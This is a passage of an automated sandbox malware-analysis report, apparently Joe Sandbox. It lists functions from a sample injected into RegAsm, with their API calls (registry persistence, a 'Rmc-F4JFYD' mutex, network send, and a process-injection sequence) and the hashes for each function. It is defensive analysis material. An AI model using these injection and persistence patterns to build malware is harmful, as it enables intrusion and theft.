                      • Opcode ID: 5b2464df5b8dac7f4146cdbfda56de71be1ea15fa094643bc8b0c6bbca94d29d
                      • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                      • Opcode Fuzzy Hash: 5b2464df5b8dac7f4146cdbfda56de71be1ea15fa094643bc8b0c6bbca94d29d
                      • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                      Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                      • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                      • RegCloseKey.KERNEL32(?), ref: 004137B1
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID: pth_unenc
                      • API String ID: 1818849710-4028850238
                      • Opcode ID: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                      • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                      • Opcode Fuzzy Hash: 3ae23bf51bdae044d43d0241d7839713fa8c787b67a3ee745682b35b7168c146
                      • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                      Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                      • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 00404DD2
                      • CloseHandle.KERNEL32(00000000), ref: 00404DDB
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$CloseEventHandleObjectSingleThreadWait
                      • String ID:
                      • API String ID: 3360349984-0
                      • Opcode ID: c82d23fa68d4f54fa7345513474a4fa3003979eb866de3c2de6de2f22e2b7063
                      • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                      • Opcode Fuzzy Hash: c82d23fa68d4f54fa7345513474a4fa3003979eb866de3c2de6de2f22e2b7063
                      • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                      Function 1000C7E6 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                        • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                        • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProtectVirtual
                      • String ID:
                      • API String ID: 2905821283-0
                      • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                      • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                      • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                      • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                      Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                      • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$ErrorLast
                      • String ID:
                      • API String ID: 3177248105-0
                      • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                      • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                      • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                      • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                      Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                      • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                      • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$ErrorLast
                      • String ID:
                      • API String ID: 3177248105-0
                      • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                      • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                      • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                      • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                      Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                      • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseCreateHandleReadSize
                      • String ID:
                      • API String ID: 3919263394-0
                      • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                      • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                      • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                      • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                      Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                      • GetLastError.KERNEL32 ref: 0040D083
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateErrorLastMutex
                      • String ID: Rmc-F4JFYD
                      • API String ID: 1925916568-345995900
                      • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                      • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                      • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                      • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                      Function 1000C7A7 Relevance: 4.6, APIs: 3, Instructions: 100COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                        • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                        • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                        • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProtectVirtual
                      • String ID:
                      • API String ID: 2905821283-0
                      • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                      • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                      • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                      • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                      Function 00404AA1 Relevance: 4.6, APIs: 3, Instructions: 93synchronizationnetworkCOMMON
                      Download Yara Rule
                      APIs
                      • send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      • WaitForSingleObject.KERNEL32(00000000,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                      • SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: EventObjectSingleWaitsend
                      • String ID:
                      • API String ID: 3963590051-0
                      • Opcode ID: 9fc3f5fbc76b769c61b094c1e0d5237dee77039eb0f94f08c61e3471faa40265
                      • Instruction ID: 83b425c638d75041f18e819343fb0b0c123ba7f8272f9a3a5816098776915250
                      • Opcode Fuzzy Hash: 9fc3f5fbc76b769c61b094c1e0d5237dee77039eb0f94f08c61e3471faa40265
                      • Instruction Fuzzy Hash: A52126B2900119BBCB04ABA1DC95DEE773CFF14314B00452BF515B21E2EE79AA15C6A4
                      Function 1000C803 Relevance: 4.6, APIs: 3, Instructions: 54memoryCOMMON
                      Download Yara Rule
                      APIs
                      • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                      • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                      • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ProtectVirtual$HandleModule
                      • String ID:
                      • API String ID: 3519776433-0
                      • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                      • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                      • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                      • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE
                      Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                      • RegQueryValueExA.KERNEL32 ref: 004135E7
                      • RegCloseKey.KERNEL32(?), ref: 004135F2
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                      • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                      • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                      • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                      Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                      • RegQueryValueExA.KERNEL32 ref: 0041372D
                      • RegCloseKey.KERNEL32(00000000), ref: 00413738
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                      • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                      • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                      • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                      Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                      • RegQueryValueExA.KERNEL32 ref: 00413587
                      • RegCloseKey.KERNEL32(?), ref: 00413592
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                      • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                      • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                      • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                      Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                      • RegQueryValueExA.KERNEL32 ref: 0041352A
                      • RegCloseKey.KERNEL32(?), ref: 00413535
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseOpenQueryValue
                      • String ID:
                      • API String ID: 3677997916-0
                      • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                      • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                      • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                      • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                      Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                      • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                      • RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseCreateValue
                      • String ID:
                      • API String ID: 1818849710-0
                      • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                      • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                      • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                      • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                      Function 00418568 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 00418136
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418139
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 0041814A
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 0041814D
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 0041815E
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418161
                        • Part of subcall function 004180EF: GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 00418172
                        • Part of subcall function 004180EF: GetProcAddress.KERNEL32(00000000), ref: 00418175
                        • Part of subcall function 004180EF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00418217
                        • Part of subcall function 004180EF: VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0041822F
                      • CloseHandle.KERNEL32(004040F5), ref: 0041857E
                      • CloseHandle.KERNEL32(t^F), ref: 00418587
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$AddressModuleProc$Close$AllocCreateProcessVirtual
                      • String ID: t^F
                      • API String ID: 2948481953-389975521
                      • Opcode ID: 247fee8f8bf52748d850bc295b8f4d78ccc0daa5e201679a7bea01e83cf232d2
                      • Instruction ID: f5f9b7b4b8a2ed15acd0e1e17f357bf619fd4f1f7ce3194d250e30b15390ff54
                      • Opcode Fuzzy Hash: 247fee8f8bf52748d850bc295b8f4d78ccc0daa5e201679a7bea01e83cf232d2
                      • Instruction Fuzzy Hash: E7D05E75C4120CFFCB006BA4EC0A8AEBB7CFB09201B4001AAFC2442253AB329818CA64
                      Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Info
                      • String ID:
                      • API String ID: 1807457897-3916222277
                      • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                      • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                      • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                      • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                      Function 10006ACB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                      Download Yara Rule
                      APIs
                      • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 10006AF0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: Info
                      • String ID:
                      • API String ID: 1807457897-3916222277
                      • Opcode ID: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                      • Instruction ID: 7792c4a5177154c3e9ca344f7bd1be717728489360a1cc3eced530dab922c6d1
                      • Opcode Fuzzy Hash: 6cedc9456a51a48c8b79c853d380540c5183232597a17884e183f7c8afc1900e
                      • Instruction Fuzzy Hash: D241FCB050429C9AFB21CF148C84BEABBEAEB49344F2444EDE5C9C6146D735AA85DF20
                      Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _wcslen
                      • String ID: pQG
                      • API String ID: 176396367-3769108836
                      • Opcode ID: e8998cf28dcd9718db14c62255f57e315091e6a51e3e070f68c79c0d4cc3fbb9
                      • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                      • Opcode Fuzzy Hash: e8998cf28dcd9718db14c62255f57e315091e6a51e3e070f68c79c0d4cc3fbb9
                      • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                      Function 00448BB3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
